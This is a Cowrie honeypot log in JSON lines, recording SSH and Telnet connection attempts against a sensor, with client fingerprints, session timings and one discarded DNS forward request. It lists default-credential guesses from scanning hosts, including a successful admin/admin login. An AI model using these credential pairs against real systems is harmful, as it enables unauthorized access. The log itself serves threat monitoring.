{"eventid":"cowrie.login.failed","username":"test5","password":"test5","message":"login attempt [test5/test5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:58.392708Z","src_ip":"14.248.83.33","session":"651856504a70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:21:59.635696Z","src_ip":"14.248.83.33","session":"651856504a70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":51930,"dst_ip":"159.203.135.109","dst_port":22,"session":"91282c94be96","protocol":"ssh","message":"New connection: 103.69.96.120:51930 (159.203.135.109:22) [session: 91282c94be96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:04.718973Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:04.724375Z","src_ip":"103.69.96.120","session":"91282c94be96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:04.974683Z","src_ip":"103.69.96.120","session":"91282c94be96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"iptv123","message":"login attempt [root/iptv123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:06.005807Z","src_ip":"103.69.96.120","session":"91282c94be96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":16900,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bc63138a97c","protocol":"ssh","message":"New connection: 181.39.158.30:16900 (159.203.135.109:22) [session: 5bc63138a97c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:07.129685Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:07.133616Z","src_ip":"181.39.158.30","session":"5bc63138a97c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:07.252438Z","src_ip":"181.39.158.30","session":"5bc63138a97c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:07.263078Z","src_ip":"103.69.96.120","session":"91282c94be96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test5","password":"test5","message":"login attempt [test5/test5] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:07.752218Z","src_ip":"181.39.158.30","session":"5bc63138a97c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":42936,"dst_ip":"159.203.135.109","dst_port":22,"session":"95f65db2e5c7","protocol":"ssh","message":"New connection: 194.59.206.2:42936 (159.203.135.109:22) [session: 95f65db2e5c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:08.502843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:08.512200Z","src_ip":"194.59.206.2","session":"95f65db2e5c7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:08.596213Z","src_ip":"194.59.206.2","session":"95f65db2e5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:08.773508Z","src_ip":"194.59.206.2","session":"95f65db2e5c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:08.872274Z","src_ip":"181.39.158.30","session":"5bc63138a97c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":42210,"dst_ip":"10.17.0.5","dst_port":23,"session":"2e5509bcc086","protocol":"telnet","message":"New connection: 217.182.190.44:42210 (10.17.0.5:23) [session: 2e5509bcc086]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:24.953051Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":14872,"dst_ip":"10.17.0.5","dst_port":22,"session":"e70827694c52","protocol":"ssh","message":"New connection: 87.251.64.176:14872 (10.17.0.5:22) [session: e70827694c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:29.150471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:29.154895Z","src_ip":"87.251.64.176","session":"e70827694c52","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:29.251096Z","src_ip":"87.251.64.176","session":"e70827694c52","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:29.539503Z","src_ip":"87.251.64.176","session":"e70827694c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:29.636668Z","session":"e70827694c52","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:29.733856Z","src_ip":"87.251.64.176","session":"e70827694c52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:29.965932Z","src_ip":"87.251.64.176","session":"e70827694c52","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44238,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f5a72c5f48a","protocol":"telnet","message":"New connection: 174.138.46.234:44238 (159.203.135.109:23) [session: 7f5a72c5f48a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:48.588113Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44402,"dst_ip":"159.203.135.109","dst_port":23,"session":"f267dce7078f","protocol":"telnet","message":"New connection: 174.138.46.234:44402 (159.203.135.109:23) [session: f267dce7078f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:49.021521Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":44406,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d13708ddb7f","protocol":"telnet","message":"New connection: 174.138.46.234:44406 (159.203.135.109:23) [session: 6d13708ddb7f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:52.032383Z"}
{"eventid":"cowrie.session.closed","duration":0.9752874374389648,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:53.007540Z","src_ip":"174.138.46.234","session":"6d13708ddb7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":49660,"dst_ip":"10.17.0.5","dst_port":23,"session":"dd35e2c37c5c","protocol":"telnet","message":"New connection: 217.182.190.44:49660 (10.17.0.5:23) [session: dd35e2c37c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:53.424470Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":45936,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac241994bb2d","protocol":"telnet","message":"New connection: 174.138.46.234:45936 (159.203.135.109:23) [session: ac241994bb2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:54.628034Z"}
{"eventid":"cowrie.session.closed","duration":8.001330614089966,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:22:56.589305Z","src_ip":"174.138.46.234","session":"7f5a72c5f48a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.126625776290894,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:00.079586Z","src_ip":"217.182.190.44","session":"2e5509bcc086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.39.158.30","src_port":22464,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ce396bbe844","protocol":"ssh","message":"New connection: 181.39.158.30:22464 (159.203.135.109:22) [session: 5ce396bbe844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:05.257042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:05.263089Z","src_ip":"181.39.158.30","session":"5ce396bbe844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:05.390003Z","src_ip":"181.39.158.30","session":"5ce396bbe844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"Abcd1234","message":"login attempt [developer/Abcd1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:05.908566Z","src_ip":"181.39.158.30","session":"5ce396bbe844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:07.032509Z","src_ip":"181.39.158.30","session":"5ce396bbe844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.69.96.120","src_port":49264,"dst_ip":"159.203.135.109","dst_port":22,"session":"47a94940adb0","protocol":"ssh","message":"New connection: 103.69.96.120:49264 (159.203.135.109:22) [session: 47a94940adb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:07.654470Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:07.659117Z","src_ip":"103.69.96.120","session":"47a94940adb0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:07.902103Z","src_ip":"103.69.96.120","session":"47a94940adb0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftp","password":"12345678","message":"login attempt [sftp/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:08.907516Z","src_ip":"103.69.96.120","session":"47a94940adb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":49584,"dst_ip":"159.203.135.109","dst_port":23,"session":"858b56afcdb5","protocol":"telnet","message":"New connection: 174.138.46.234:49584 (159.203.135.109:23) [session: 858b56afcdb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:09.224467Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:10.153941Z","src_ip":"103.69.96.120","session":"47a94940adb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.591279983520508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:25.015645Z","src_ip":"217.182.190.44","session":"dd35e2c37c5c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55594,"dst_ip":"159.203.135.109","dst_port":23,"session":"6d86e15c44ae","protocol":"telnet","message":"New connection: 174.138.46.234:55594 (159.203.135.109:23) [session: 6d86e15c44ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:29.464170Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":55988,"dst_ip":"159.203.135.109","dst_port":23,"session":"691184a66f98","protocol":"telnet","message":"New connection: 174.138.46.234:55988 (159.203.135.109:23) [session: 691184a66f98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:30.908125Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56260,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd659e0adbf5","protocol":"telnet","message":"New connection: 174.138.46.234:56260 (159.203.135.109:23) [session: dd659e0adbf5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:32.853024Z"}
{"eventid":"cowrie.session.closed","duration":3.801470994949341,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:34.709440Z","src_ip":"174.138.46.234","session":"691184a66f98","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.984665870666504,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:35.448691Z","src_ip":"174.138.46.234","session":"6d86e15c44ae","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"217.182.190.44","src_port":37702,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc3794807279","protocol":"telnet","message":"New connection: 217.182.190.44:37702 (10.17.0.5:23) [session: bc3794807279]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:36.936300Z"}
{"eventid":"cowrie.session.closed","duration":6.03699517250061,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:23:38.889893Z","src_ip":"174.138.46.234","session":"dd659e0adbf5","protocol":"telnet"}
